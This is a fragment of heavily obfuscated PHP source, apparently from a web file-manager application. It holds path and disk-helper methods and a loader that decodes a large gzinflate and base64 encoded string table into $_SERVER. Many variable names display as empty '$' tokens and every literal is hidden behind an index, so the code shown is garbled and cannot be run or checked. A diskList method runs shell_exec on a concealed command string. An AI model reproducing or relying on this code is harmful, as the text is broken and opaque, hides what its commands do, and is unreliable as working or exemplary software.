$[$] = -1; break; } $[$] = -1; $[$Ɋ] = -1; break; } } $ = array(); foreach ($ as $ر) { if ($ر !== -1) { $[] = $ر; } } $ހ = implode($ú[8], $); if (strpos($ހ, $ú[1330]) === 0) { $ހ = $ú[1326] . substr($ހ, strlen($ú[1330])); } return $ހ; } public static function sourceID($) { $ =& $_SERVER[砐]; $ܼ = self::parse($); if ($ܼ[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1331]), !1); } return $ܼ[$[445]]; } public static function make($悆Њ) { if (!$悆Њ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($悆Њ)); } public static function makeShare($Ӽ, $) { return self::makePath(self::KOD_SHARE_ITEM, $Ӽ, $); } public static function makeFileTypePath($ۻ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ۻ); } public static function makeFileTagPath($ɼ) { return self::makePath(self::KOD_USER_FILE_TAG, $ɼ); } public static function makePath($, $dž = '', $ő = '') { $֕ =& $_SERVER[砐]; $󹓢 = substr($, 1, -1); $ = $֕[1332] . $󹓢 . $֕[1333] . $dž . $֕[1334]; $ = $ő ? $ . $ő . $֕[8] : $; return $; } public static function hashPath($ۦ, $ = true) { $ =& $_SERVER[砐]; $ِ = is_array($ۦ) ? $ۦ : IO::info($ۦ); $ⸯ = _get($ِ, $[1335], $[12]); if (!$ⸯ && isset($ِ[$[221]])) { $ⸯ = trim($ِ[$[221]], $[120]); } if (!$ⸯ && isset($ِ[$[183]]) && $ِ[$[183]]) { $ِ = IO::info(KodIO::make($ِ[$[183]])); $ⸯ = _get($ِ, $[1335], $[12]); } $Ə = md5($ِ[$[86]] . $ِ[$[78]] . $ِ[$[87]]); if (!$ⸯ && file_exists($ِ[$[86]])) { $ⸯ = Cache::get($Ə . $[1336]); $ⸯ = !1; if (!$ⸯ) { $ⸯ = IO::hashSimple($ِ[$[86]]); Cache::set($Ə . $[1336], $ⸯ, 3600 * 24 * 30); } } if ($ && !$ⸯ) { } return $ⸯ ? $ⸯ : $Ə; } public static function hashPathSafe($Դז, $տ = true) { $ҵ =& $_SERVER[砐]; $עڧ = self::hashPath($Դז, $տ); return md5($עڧ . $ҵ[1337] . Model($ҵ[815])->get($ҵ[816])); } public static function initSystemPath() { $ŵ =& $_SERVER[砐]; if (defined($ŵ[1338])) { return; } define($ŵ[1338], self::systemPath($ŵ[181])); define($ŵ[1339], self::systemPath($ŵ[1340])); define($ŵ[1341], self::systemPath($ŵ[1342])); define($ŵ[1343], self::systemPath($ŵ[1344])); IOHistory::bindEvent(); } public static function systemPath($۵) { $ =& $_SERVER[砐]; $෴ = $[1345] . ucfirst($۵); $ܙ = Model($[815])->get($෴); if ($ܙ) { return $ܙ; } if ($۵ == $[181]) { $ܙ = self::make(Model($[870])->systemRootPathAdd($[576])); } else { $ܙ = self::systemPath($[181]); $ = self::sourceID($ܙ); $ܙ = self::make(Model($[870])->mkdir($, $۵)); } Model($[815])->set($෴, $ܙ); return $ܙ; } public static function systemFolder($ꞈ) { $׊ = IO_PATH_SYSTEM_SOURCE . $ꞈ; $ = Cache::get($׊); if (!$) { $ = IO::infoFullSimple($׊); if (!$) { $ = IO::mkdir($׊, REPEAT_SKIP); } else { $ = $[$_SERVER[砐][86]]; } Cache::set($׊, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[砐][812])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[砐]; $ӵ = self::defaultDriver(); return $[1346] . $ӵ[$[445]] . $[1334]; } public static function defaultDriverInit() { static $̷ = false; if ($̷) { return $̷; } $̷ = IO::init(self::defaultIO()); return $̷; } public static function fileTypeList() { $ =& $_SERVER[砐]; $⒘ = $GLOBALS[$[6]][$[1347]]; foreach ($⒘ as $톛 => $ϱ) { $ = $[1348] . $톛; $د = LNG($); if ($ != $د) { $⒘[$톛][$[32]] = $د; } } return $⒘; } public static function diskList($ဆ = true) { $ = $_SERVER[砐][1349]; if ($ဆ) { $Ι = Cache::get($); if (is_array($Ι)) { return $Ι; } } $Ι = self::diskListGet(); Cache::set($, $Ι, 60); return $Ι; } public static function diskListGet() { $쮆 =& $_SERVER[砐]; $ = array(); if ($GLOBALS[$쮆[6]][$쮆[1350]] == $쮆[1351]) { $Ԃ = $쮆[1352]; for ($ = 0; $ < strlen($Ԃ); $++) { $Ӻٶ = $Ԃ[$] . $쮆[1353]; if (file_exists($Ӻٶ)) { $[] = $Ӻٶ; } } return $; } if (!function_exists($쮆[100])) { $[] = $쮆[881]; return $; } $Ϻé = explode($쮆[248], shell_exec($쮆[1354])); array_shift($Ϻé); array_pop($Ϻé); $ = array($쮆[1355], $쮆[1356], $쮆[1357], $쮆[1358], $쮆[1359], $쮆[1360], $쮆[1361], $쮆[1362]); foreach ($Ϻé as $Ȗ) { $ = preg_split($쮆[1363], $Ȗ); $Ӻٶ = $[count($) - 1]; if (!strstr($[0], $쮆[1364]) || !$Ӻٶ) { continue; } $Ĵ = rtrim($Ӻٶ, $쮆[8]) . $쮆[8]; if (in_array($Ĵ, $)) { continue; } $[] = $Ĵ; } return $; } public static function isSameDisk($, $) { $ܺ =& $_SERVER[砐]; if ($GLOBALS[$ܺ[6]][$ܺ[1350]] == $ܺ[1351]) { return strtolower(substr($, 0, 1)) == strtolower(substr($, 0, 1)); } $ = self::diskList(); $ = !1; $ɤ = !1; sort($); $ = array_reverse($); $ = rtrim($, $ܺ[8]) . $ܺ[8]; $ = rtrim($, $ܺ[8]) . $ܺ[8]; foreach ($ as $) { $ = strlen($); if (!$ && substr($, 0, $) == $) { $ = $; } if (!$ɤ && substr($, 0, $) == $) { $ɤ = $; } if ($ && $ɤ) { break; } } return $ === $ɤ; } public static function transferType($ԡ, $) { $ =& $_SERVER[砐]; $ = self::driverType($ԡ); $ŏ = self::driverType($); if ($[$[33]] == $ŏ[$[33]] && $[$[1365]] == $ŏ[$[1365]]) { return $[1366]; } if ($[$[33]] == $[914] && $ŏ[$[33]] == $[108]) { return $[1245]; } if ($[$[33]] == $[108] && $ŏ[$[33]] == $[914]) { return $[109]; } return $[1367]; } public static function driverType($) { $ =& $_SERVER[砐]; $ҫ = str_replace($[1368], $[12], strtolower($->getType())); if ($ҫ == $[802] || $ҫ == $[1369] || $ҫ == $[1370]) { $ = self::defaultDriverInit(); } else { if ($ҫ == $[1255] || $ҫ == $[1371]) { $ = IO::init($->pathParse[$[1202]]); } } $ݍ = $->path; $ҫ = str_replace($[1368], $[12], strtolower($->getType())); if ($ҫ == $[108]) { return array($[33] => $[108], $[1365] => $[12], $[86] => $ݍ, $[97] => $); } return array($[33] => $[914], $[1365] => $->pathDriver, $[86] => $ݍ, $[97] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($䙾) { $ =& $_SERVER[砐]; $Զ = $䙾 ? self::driverType(IO::init($䙾)) : !1; return $Զ[$[33]] == $[108] ? !0 : !1; } public static function allowCover($Ý, $җζ = true) { $ =& $_SERVER[砐]; if (is_string($Ý)) { $Ý = IO::info($Ý); } if (!$Ý || $Ý[$[33]] == $[77] || $Ý[$[78]] <= 100) { return !1; } if (isset($Ý[$[1372]]) || !$Ý[$[86]]) { return !1; } if (isset($Ý[$[218]]) && !$Ý[$[218]]) { return !1; } static $ = false; if (!$ || !$җζ) { $ = self::driverType(IO::init($Ý[$[86]])); $ɴԪ = $[$[97]]; $ = $[186]; if ($[$[33]] == $[108]) { $ = $[1373]; } if ($[$[97]] && is_array($[$[97]]->config)) { $佘 = $[$[97]]->config; if (isset($佘[$[1374]]) && $佘[$[1374]]) { $ = $[1373]; } } } return $ == $[1373] ? !0 : !1; } } class PathDriverBOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function getHost() { $̇ =& $_SERVER[砐]; $Śч = str_rtrim(parent::getHost(), $̇[8] . $this->bucket); $Śч = explode($̇[200], $Śч); return $Śч[0] . $̇[200] . $this->bucket . $̇[1375] . $Śч[1]; } } goto bڣی; b: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define("\225\331\347\240\220\311", "\x92\xe0\x92\xb5\xcf\x87"); $_SERVER[砐] = explode(strrev('|||'), gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\275\11\170\33\325\325\60\314\322\276\220\264\245\245\224\122\112\240\203\111\260\235\150\261\235\335\211\223\310\262\34\213\310\226\43\311\131\260".base64_decode('zWQkjaSxJY2sGXlLUlpo2MLSlh1C2ctSIGVLKfsbaKEFWtpSllJoG8hCoeyFvqUt3w==')."\x5d\xce\x5d\x66\x24\xc3\xfb\x3f\xff\xf7\x3c\x5f\x9e\x24\xba\xf7\xdc\x65\xee\x72\xee\xb9\xe7\x9e\x7b\xce\xb9\x4f\xde\x77\xe5\xae\xf\x4f\xdd\x74\xc0\xa6\xcf\x6e\xfa\xec\x85\xf\xff\xe1\xd1\x4b\xef"."\245\341\115\237\101\277\7\322\360\67\266\36\274\37\371\163\330\326\263\32\32\272\26\114\237\323\363\371\363\356\272\125\273\111\273\131\73\67\32\171\342\311\360\27\176\165\313\11\241"."\75\327\76\61\261\147\377\375\362\231\323\147\265\242\314\264\154\53\375\121\212\246\255\350\343\206\145\133\24\220\62\213\31\43\113\303\106\221\376\372\351\117\137\54\122\326\13\246\255".base64_decode('06iP/qjQLvK/NZI3WLraE02o8b7e3lAsAZla5fSCmYZQSStrBfh+SS9bqDVydWrJLA==')."\xe9\x45\x7\x44\x0\xd2\x9a\xad\x25\x35\xb\x6a\xea\x68\x57\x3b\x42\xbd\x91\xe8\x7a\x35\xb1\xbe\x37\x4\x39\x92\xea\x48\x45\x2f\x4f\xd0\x18\x9\xc6\x6d\xad\x6c\x27\x8c\x82\xce\x73\x8c\x95\x79\xbb".strrev(''."\r".'QA@we`Xޔ"Fpуp"J=+C').strrev('Ӭh(RuhVHϒSMx%%汨iCNiA')."\253\364\11\16\245\1\255\142\233\106\61\105\43\241\161\273\254\11\70\152\153\12\115\264\136\204\252\342\241\110\50\230\120\160\3\225\316\130\264\133\201\111\50\150\226\255\227\225\265"."\x5d\xa1\x58\x48\xc1\x8d\x6e\xab\x27\x7d\xad\x57\x0\x5f\x7a\xd0\x50\x28\x81\x48\x44\x99\xaa\x6\x5b\x2f\x94\x58\x35\xb4\x4c\x8d\xca\xa2\xb1\x8e\x50\x4c\x69\x5f\xaf\x88\x11\x4a\x99\x85\x82\x59\xf4"."\241\132\320\114\332\122\123\103\261\30\15\170\0\275\43\141\74\151\20\211\166\166\306\103\74\6\235\133\35\101\55\231\13\370\351\210\245\63\171\133\35\325\362\25\206\246\303\364\267"."\x1e\x7e\xe0\xd7\xb4\x0\x75\x47\x8c\xa2\x51\x1\x34\x85\x2a\x4c\x93\x2f\x2b\x8\x54\x58\x6e\x9d\x41\xf4\x34\x4\xa\xa8\xbc\x9\xe5\x92\x0\x4b\xb2\x5c\x6\x5a\x98\xa3\x34\xd8\xb6\x8c\xfe\x2e\x81"."\x62\x49\x15\xa7\xe9\x65\x5b\xd5\x8b\x29\x33\x6d\x14\x61\xf9\x2e\x7\x34\xd4\xec\x5c\x47\xd9\x40\x19\x68\x3c\x63\xe6\xd3\x2c\x6c\x19\x93\xd0\xb9\x8c\x91\xd7\x7b\x2a\x5\x39\xb\x8f\xa6\x72\x46\x3e".strrev('Wو'."\r".'um'."\0".'CJrj^q |%JW`/hr+f]')."\312\233\132\72\256\227\171\327\14\263\23\125\24\255\330\62\260\102\262\165\232\345\102\7\242\25\360\175\264\116\214\276\32\11\303\154\245\244\245\21\363\67\364\177\333\373\237\301\376"."\25\350\277\106\40\206\3\320\246\234\236\317\253\372\270\16\113\251\220\236\157\261\301\360\133\111\243\350\107\20\32\15\107\325\234\146\345\272\323\363\125\122\212\321\330\264\76\356\53"."\345\112\260\316\371\322\36\160\240\72\36\272\36\323\16\111\224\72\157\246\264\274\334\105\32\316\331\166\51\256\27\323\170\44\240\53\346\130\221\214\124\111\327\41\123\207\107\111\53"."\xdd\xca\x7a\xa5\xab\xd5\x68\xb5\x58\xc1\x42\x9e\x87\x58\xef\x38\xcc\xe2\x40\x7b\x9c\x4d\x67\x3a\x3\x48\xca\x36\x8a\x3a\xf8\xa0\x61\x11\x9a\x27\x16\xac\x56\x2a\xe5\x8d\x94\x66\x1b\x66\xd1\x6f\xa6".base64_decode('bN32WnZZ16DGQCqlW5Y3aBbtspn3BvJ5c8wbLRtZo9iqzAbyixLRMvdiktgKa7duiQ==')."\202\21\7\177\146\166\133\305\316\170\27\261\65\311\163\227\265\242\225\321\313\336\20\254\214\126\5\65\226\323\105\226\255\303\260\112\246\145\340\346\265\52\232\155\153\251\34\246\51"."\xa2\xfa\xb6\x4f\xc8\x6f\x14\xf3\x46\x51\xaf\xca\x1b\x1a\x2f\x19\x65\xdd\x62\x6d\x55\x56\x76\x27\xa0\x12\x54\xbb\xee\xed\x2d\x6b\xd9\x82\xd6\xaa\x94\x2a\x49\x34\x32\xb0\x52\x6b\xc0\x68\x6e\x18\x9a"."\126\45\205\243\36\245\120\261\154\157\131\107\304\311\100\33\40\14\162\70\343\355\306\353\312\320\323\336\70\242\341\0\236\333\64\117\101\250\243\260\64\12\355\112\44\172\325\160\47".strrev('t͆UhnF^潀*y3(9Zf wjB{')."\xb1\x24\x9c\x39\x8e\x8\xd\xcb\x8c\xa7\xbb\x64\x7b\x63\x5a\x31\x8b\xc7\x27\x39\x61\xeb\x96\x9b\x54\xb5\xa3\x2d\xdd\x97\xa1\x8b\xd9\x97\xd4\x33\x66\x19\x7a\x63\x8d\x66\x9d\x73\x11\xd1\x8b\x59\x3b".strrev('׊qXfNzc{_gD"('."\r".'L51Bkb')."\113\213\204\127\342\261\353\360\132\50\223\127\316\305\352\216\30\5\3\167\317\346\51\144\260\21\173\260\22\32\344\47\175\156\33\260\146\67\14\244\347\64\172\321\377\263\33\373\7"."\72\174\263\7\227\373\15\121\306\337\354\153\126\132\232\26\50\275\210\137\61\264\274\2\235\256\312\321\244\104\127\71\207\105\40\174\321\54\352\237\60\70\170\303\223\50\203\153\130"."\51\60\26\132\335\27\212\47\324\356\120\242\53\332\1\137\17\5\40\24\61\351\312\146\275\355\247\77\203\200\0\203\364\107\65\254\116\151\347\301\121\116\241\124\63\71\204\46\243".base64_decode('W2dkGGY+XNCy0j6gOrcJHMOJ3QI5EJatNdJ8H0HRLt3I5mDADFxdysybZS2PqSdbOA==').base64_decode('OqNoWQMoWilfQTjjx19I5CqFJBB9xDZmdVtwZdYEYl0KbHNDO6Qd7nBsYRDzq3ieBw==')."\174\245\142\266\161\46\324\245\266\314\157\302\0\100\121\350\42\142\117\53\172\365\30\370\122\46\132\24\335\332\260\336\212\73\5\44\146\11\201\262\210\104\173\226\340\355\242\315\275"."\xa6\xf0\x3c\xe5\x7d\x5\x54\x9\xa9\x33\x68\xf2\xd\x8e\x1e\x0\x96\x38\xb7\xb\x45\x2f\x97\xcd\xf2\xb1\x90\x83\x84\x15\xb2\xe7\xe0\x79\x83\xca\x6d\xbe\x83\x5b\x68\xf9\xb0\x70\xce\xe4\x3b\xbe\x59"."\206\120\253\37\372\75\253\245\223\355\207\376\370\134\364\127\154\176\151\263\240\261\255\204\154\2\172\232\356\2\24\64\333\221\322\245\153\202\215\261\313\266\211\241\145\107\26\204\117".strrev('kǶ%C0pT,JcƆ&6Μ:֙Z©49').strrev('$N\'`D#UJ:x_y4>7|]W̱C').base64_decode('sMez88avWTv98qMuTN6+c/HDldMffOQx37v1a4ZmdL/z8b+/87Dv5/Fl1zx6WUT5Sw==').base64_decode('x1/vmdF047b9lv2so1i/cPGM0YPvat7SfOa/c7/48eJF+dnH/b30/J6zl1x07SOhXw==').base64_decode('zX9pySnvNFx56ylvGN6P3q4fe+aLz826/ORDJr+wrLfzX/0/euzU0e1PPLbkipdHbw==').base64_decode('vfb49Q8eFH7z0VPemzF605aj/ddf+Nb3P3unuv9FgWOPPa/pznN2DX/9/aW/WnD1nQ==').strrev('NkWQ.rwsrs|')."\37\175\366\220\346\273\206\156\212\375\166\325\254\277\164\351\257\255\316\175\270\363\243\362\271\107\224\357\175\370\264\360\275\373\267\165\277\261\377\325\47\55\274\172\301\255\251\301\135".base64_decode('jxzXeWXTybnEwNfGX55x2OZ9xx2bDD6297hH6o4pbH1kz37HHhHZcNDKg7/nGd11QQ==')."\162\341\231\117\355\270\250\356\365\337\46\267\375\361\372\5\273\346\175\373\260\314\314\145\247\55\370\361\323\271\327\316\332\270\337\113\73\266\175\157\332\365\243\207\235\66\143\354\214"."\xe6\x73\xe\xff\xe1\x67\x76\xfe\xe0\x73\xd7\x2f\x8e\xac\xf8\xf3\xc1\xdf\x78\xf8\xeb\xed\xe3\xcb\x92\xd6\x99\x5b\x8e\x6b\x9a\xf6\x42\x6c\x78\xe8\xcd\x13\xef\xf5\x5d\xdc\x5a\xfa\xe6\xe3\x3\x7f\xdc"."\xd9\x75\xf1\xaf\xbe\x7c\xcb\x65\xaf\xff\xfc\xed\x9e\x7d\xb7\x1d\x38\xbd\xff\x92\xe7\x57\xc\x9c\xf4\x98\x75\x90\x76\xd5\xf2\xbb\xfe\xd8\x7a\xc7\x55\xd6\x85\x2f\xdd\x9e\x5f\x55\x9e\x76\xc9\xbc\x47"."\237\354\73\344\374\7\176\31\271\145\117\361\230\366\302\115\127\137\367\317\360\350\321\201\25\327\255\177\173\333\325\137\32\365\144\57\333\63\143\337\121\323\236\370\354\173\323\16\13"."\335\277\257\365\320\33\374\115\207\235\260\260\160\261\357\117\73\236\352\371\356\266\357\324\315\120\236\274\350\13\117\34\230\272\140\347\360\237\177\365\374\353\333\36\373\374\71\153\137".strrev('[y^7|gzWcuҿC:;')."\x3f\xbc\xe9\xc1\x73\xb6\xdf\xb3\xe2\xd4\x69\xa7\xdf\xda\xb4\xe4\xed\xcf\x5c\xf3\xb5\xd3\xa7\x37\x6d\x58\xf4\x82\x9d\xfc\x5d\xee\xf9\xe6\x5b\xce\xbc\xe7\x6b\xd7\x3d\x53\x3e\xfe\xac\x33\x8a\x7\xfe"."\xa3\xa1\xa2\x2f\xfb\xea\x99\x9e\xbb\x3b\x7a\x1f\xbe\xbb\xfd\xd5\x73\xdf\x4e\x9c\x32\x2b\xb3\xf8\x50\xff\xd9\xcb\x97\x7d\x3e\x3e\xd8\x36\x72\xd0\x93\x1b\x16\x44\x1e\xfd\xeb\xec\x2f\x1c\x70\xde\x87"."\335\157\74\374\223\337\35\23\217\165\237\164\142\362\214\367\176\270\356\363\247\154\333\166\177\346\222\374\141\147\67\35\172\172\250\356\304\347\277\72\177\303\175\77\274\353\365\241\207".base64_decode('Fvzh8P7Aruat8644/ytHB2+9aNdbB/z6/p1nfPvRr+w6cO73D7z3GP2g2zu716zb8Q==')."\xc1\xa3\xbf\xfd\xf3\xe3\x67\xbd\x3b\x37\x7b\xe3\x5\x23\x89\xd9\xfb\x9d\x34\x3c\xe3\xae\xfb\x86\x6e\xfd\xdd\x6b\x47\xff\xe8\x6f\xc7\xec\x3d\x7a\xe1\x4f\x7e\xaf\x6d\x5f\x78\xc2\xbe\x19\x5f\x9d\xf3"."\231\155\277\230\355\337\75\366\310\305\317\105\276\162\333\147\276\174\340\367\137\173\364\314\165\77\375\326\255\255\253\117\374\373\265\147\376\371\207\307\155\133\323\134\331\350\273\252\364"."\263\364\217\17\172\145\107\352\340\357\135\71\175\367\226\276\73\302\215\327\37\365\323\221\263\217\370\362\77\167\234\163\305\266\323\136\232\365\372\222\310\145\301\310\323\357\354\74\372"."\x95\x3f\x3c\xeb\xcb\x87\x32\x3f\x7c\xce\xf3\xcc\x71\xaf\xcd\x89\x7b\x1e\x6c\x78\xfa\xb6\xfe\x7d\xbb\x16\xcf\x7c\xf1\x89\xe1\x4c\x77\xfe\x91\xab\xde\x18\x9c\x5b\x8\x4e\xff\xe0\x2f\x2d\xfb\xfd\xe4"."\xc3\xa3\xeb\x46\xe\xbf\xaf\xe5\x6f\x9b\x3e\x4c\xbc\x32\x79\xf7\x1\xbf\x6e\xfe\xe3\xf1\x4d\x75\x67\x5f\x7c\xf6\x91\x7\x1c\x77\xfe\x96\x47\x6e\x8b\xfc\xcf\x89\xcf\x1c\x7f\xb0\xfa\xd8\xc1\xd3\x7e".base64_decode('WFzR3jSxMv9mf116/alHvr7zjEOWr84nHj/82kuPe3DODR9u/MLfb1ycuOYHZ6848A==')."\313\23\57\277\231\173\146\355\351\117\255\261\236\237\161\326\121\227\74\74\222\176\71\77\166\341\241\237\73\362\356\7\373\137\37\275\374\212\231\327\175\306\167\155\303\312\165\7\356"."\333\57\242\175\347\256\261\157\215\274\225\271\351\306\143\337\370\334\341\317\176\343\117\57\77\27\10\236\234\354\171\344\27\345\43\317\214\135\172\346\366\315\153\337\170\354\367\257\134"."\x31\x74\xfc\xa2\xbd\x3e\x33\xd9\xfa\xdf\x81\x23\xcd\xd9\xaf\xb6\xdc\x12\xdc\x6f\xec\xb0\xb1\x7d\xaf\xdc\x38\xe3\xa2\xe7\x3\xd7\xdf\x31\xf2\xfa\x82\x1b\xde\x7a\xe9\x99\xf7\x63\xb7\xdf\x7f\xfb\x45".base64_decode('6x+68KeH753e9fX8eTfc8acvXfueumz5x4/82qd+vPvdp+7curztow9+9sQTC82XHw==').strrev('񶿞g^\\:i];r\\~nWC_').base64_decode('8HjXYfc8vvi7LZuil++v/PaFwOf++dQN19zzi9v8DdYBCz4zOPzz5gP+MO9bA8f/8Q==').base64_decode('ukNfNHfbz5516SXrbmj6/dkrF64LjXz9u+3TZ136xwNOP/2OCzpu8rX/pu2lS9p++Q==')."\xe0\xc5\xeb\x4f\xbe\xff\x9b\x1b\xbb\x6f\xdd\xb3\xf8\xb9\x86\xb\xb7\x9e\x37\xf7\xf5\xe1\x8f\x36\x7a\xaf\x5f\x3d\xff\xfd\xfa\xd7\x62\xd7\x4e\xee\xb8\xe1\xb2\x96\x19\x8b\x4f\x28\xff\xe8\xc2\xe6\x43"."\106\317\152\176\367\257\127\337\274\355\330\177\177\57\377\137\355\277\73\343\204\313\236\232\356\275\243\356\246\323\274\126\361\311\47\367\155\275\167\246\357\254\25\117\137\377\343\13\107".strrev(';?/~]<+u?'."\r".'w').base64_decode('jjbXPn7nlR9bpee+OLqn/eZ1a2979W79kR8c3Xbs1vaTXvvHKz/tfPO5y77Y/8oDQw==')."\137\365\365\234\167\370\311\275\337\360\234\360\342\3\17\374\356\204\27\216\371\365\216\316\53\116\332\374\364\57\317\377\152\353\223\277\173\345\243\55\267\264\135\356\317\74\162\305\236"."\256\312\345\267\376\327\51\57\274\220\171\371\205\27\137\172\376\310\257\333\213\376\274\67\377\322\200\372\104\342\50\157\317\245\27\114\277\366\216\367\13\277\74\155\313\337\336\236\167"."\363\167\336\60\236\230\366\154\353\352\147\203\231\123\63\257\234\276\160\335\41\332\271\7\4\256\170\360\275\317\154\333\57\172\334\105\163\146\176\341\117\277\71\345\314\273\77\354\270"."\xe2\x2b\x2f\x7e\xf6\xd7\xe7\xfc\x79\xb0\xf2\xe8\xd0\xfd\xcf\xa8\x3\xc3\xbb\x56\xaf\xf8\xeb\xfc\x6f\xff\x7e\xf1\xc6\x33\xbe\x7b\xe0\x8a\x8e\xa7\x8f\xbc\x65\x7b\x76\x70\xda\x7f\xd7\xaf\xe8\xf8\xc3"."\363\321\35\173\7\43\327\316\64\66\236\177\364\216\311\103\256\373\326\337\256\337\327\244\234\367\112\353\151\366\237\237\375\362\241\13\117\177\166\147\171\350\301\317\27\257\270\173\333".base64_decode('tOnD0zd+J3fKMzvXrn5726FbB7dnv/abwdKiNxc//v1vv/NgU8eX/CfE7U4t9YfRoA==')."\xe7\x27\xf5\x3d\xef\xa7\x1f\xfa\xe7\xa2\xd3\x3e\xf7\xc2\xfb\xf\x6f\xd9\x7a\xc9\x55\xfb\x8e\xb2\x2\x2d\xbf\x3d\xf6\x94\x79\x87\x1f\xfc\xf0\xfe\xb9\xd7\xd6\x9f\x74\xee\x3\x8d\x57\xcc\x3c\xeb\x91"."\343\127\155\375\303\103\77\376\350\320\217\376\331\172\344\332\263\136\71\341\352\203\167\335\163\363\201\137\275\146\347\352\73\236\274\150\346\223\372\263\253\322\341\71\103\27\274\377\313"."\361\153\257\56\264\46\176\375\326\335\173\277\70\372\356\15\7\236\270\171\337\107\233\67\331\167\265\115\174\167\154\341\212\137\334\74\343\157\177\373\375\77\347\316\333\236\274\373\205"."\xe1\xa7\x6\x7e\x3f\xf0\xf5\x5b\x3a\x9f\xfa\xaf\xc3\xff\xfd\xe0\x9d\x29\x4f\xcf\x67\x7\x82\x6f\x5c\xf4\xcb\xfb\x3e\x3a\x67\x4d\x65\xb8\xf0\xef\x77\x52\xbf\xfa\xd5\x2d\xf\x3f\xfb\x5e\xef\x57\x5e".base64_decode('vOj2xODBvzi885qFt/zi6d1/+kHiuyd/9K87vxfdf4fy2tXbvnrX90/514rbvvzA6w==').base64_decode('K+xDTv3+0vj0C362dqm69TcTl+/qP3PN4w/suOZHXS/cvG7GbuXSl3YWF134y/TgPQ==')."\343\357\374\344\275\275\352\25\37\357\331\372\204\377\344\221\17\336\171\56\373\361\377\374\375\205\372\53\117\332\364\356\277\376\365\341\307\377\370\140\167\66\373\353\207\76\377\313\267"."\167\337\171\304\21\37\377\353\370\177\174\264\347\274\43\266\253\203\233\76\370\315\13\333\277\271\361\203\327\36\73\102\375\370\357\357\252\127\176\374\341\237\324\267\167\172\376\372\316".base64_decode('Qbcce2T7Vf71N+z5zVV7Xrpn4yuDyz5886Cde178e+edd9/54ssvvjXD3vjv/+498g==')."\xe8\x63\x8e\xfe\xd3\xc9\x6f\x7f\xe9\xec\xf9\x47\x7f\xfd\xb0\xdf\x4d\xb6\x84\x76\x9c\xfa\xd2\x91\xef\xdc\x78\x72\x8b\xea\x89\xbe\xb7\x25\x79\xd3\xfd\xb7\xaf\x7f\xe1\xe6\xcc\x5b\xff\x59\x91\x9b\xbd"."\xe9\x67\xcb\x77\x9e\x16\x3f\x78\xf0\xdb\xd9\xff\x9\x7c\x2d\xda\x77\xea\x67\xb7\xe\xad\x7c\x67\x56\xb1\x65\x47\x3a\x3f\x23\x97\x6e\xb4\xbe\x66\xef\xba\xec\x47\x8f\x6c\xf8\xd7\xf2\xc9\x73\xc6\x9b"."\x6f\xfc\xa\x33\x2c\x9a\xdf\xc\xb6\xf\xb\x5b\x40\x83\x6e\xf1\x5c\xd0\x54\x5a\xb4\x18\xd4\x72\x52\x85\xa2\x39\x66\x80\xa0\xa\xb2\xcf\x6f\x82\xec\xb\x16\x31\x69\x6e\x6e\xbc\x98\xcc\x3\x9f\xa"."\125\214\247\113\223\172\12\104\175\163\131\165\345\154\56\317\4\13\13\347\103\326\371\13\131\315\315\220\257\62\72\136\116\62\136\270\205\235\76\53\111\63\67\4\71\241\235\13\131".base64_decode('gxdAyblz4fZ3bDI3nB0HgYRZGs8PMyX4uQvgc/NYoaFRK1VkIsCUhfIyScb8FjZGiw==').strrev('T6J46RGGO`oslz2G]\\,0 ').base64_decode('YTI/OsRkx9C0efMXA5M9MZYrlDR2YJi0CuMgcZu7CLIsWMCGpQU+Ohdmah7UVtBSpQ==').base64_decode('ygSUy6UnJzLMDmYhm/pxO5OdHGJQVnBeC3xjdLiYHUlyIyW9qA2BhHruYnbvnrcqow==').base64_decode('Y8wihNUwmR6ykhWAtsyHSW1eBMlWuWhURuBMOK8J2j+BWpK0hDpYuZIDietINjWaZA==').strrev('$3i22abC6b2idų95"kfy@=$')."\147\263\304\26\311\142\230\256\261\234\155\31\51\50\74\71\72\224\311\32\40\51\315\214\331\343\205\62\104\26\54\204\202\315\55\60\304\225\61\123\57\226\330\331\57\235\315\24\64".strrev('yhȰR9t-]g9驡s8> aa@').strrev('QK~.FB(6LW'."\r".''."\r".'Sb,$ÙlE>o5u$n=.kF').base64_decode('6fLwZHYsDTg9lLEqkyZ8sLmJoe1C+LQxlkb9h9levHAxo07QDi1VyOms3sLQpFUpwg==')."\x8a\x5e\xc0\x16\x7d\x4b\xb\x5b\x83\xba\x56\xb1\x46\xe1\xb3\xc3\x85\xf1\x64\x26\x7\xa3\x6a\x19\xba\x3d\x3c\xa\x8\x3c\x51\x1e\x47\xa3\x34\xca\x88\x9\xc\x4b\x29\x67\x16\xb\x50\xf5\x50\x76\x2c".base64_decode('b5cgMlrOZiaLY4zkQMdH9fK4lZxkRGARw9ZKTh8BbE3b+YmRDIz/8KSd5h8dzxjJ0g==')."\20\127\307\36\33\35\141\352\22\103\71\153\70\233\7\364\152\141\64\13\65\70\127\111\17\263\276\344\206\106\312\360\345\41\335\314\215\16\3\52\264\60\114\111\347\262\251\174\251"."\xc2\x3e\x36\x62\x9b\x4c\x19\x8a\x6b\xac\xb6\x6b\xa9\x61\x26\x4d\x96\xd5\x3e\x99\x89\x9b\x51\xf4\x15\xb4\x22\xd7\xb6\xe9\x2\xd5\x90\x94\x6c\xe1\x20\x67\x18\xd6\x75\xa6\x26\xe\xa\x9\xb6\x50\xe7"."\0\65\123\200\33\5\135\110\303\351\235\3\53\51\316\375\130\350\42\51\204\340\150\134\256\45\125\264\245\144\24\163\244\306\121\217\271\12\12\125\156\363\341\26\372\344\256\256\57"."\60\35\335\32\67\231\40\1\266\254\61\263\14\103\66\154\246\123\171\263\222\166\324\232\116\72\352\344\120\46\250\160\247\144\246\200\243\172\34\212\332\14\346\30\254\44\231\64\125".base64_decode('jvjYcCelCaUieluzhn0y2CunGkXUinze57TQVckfGANqBWphteaiuP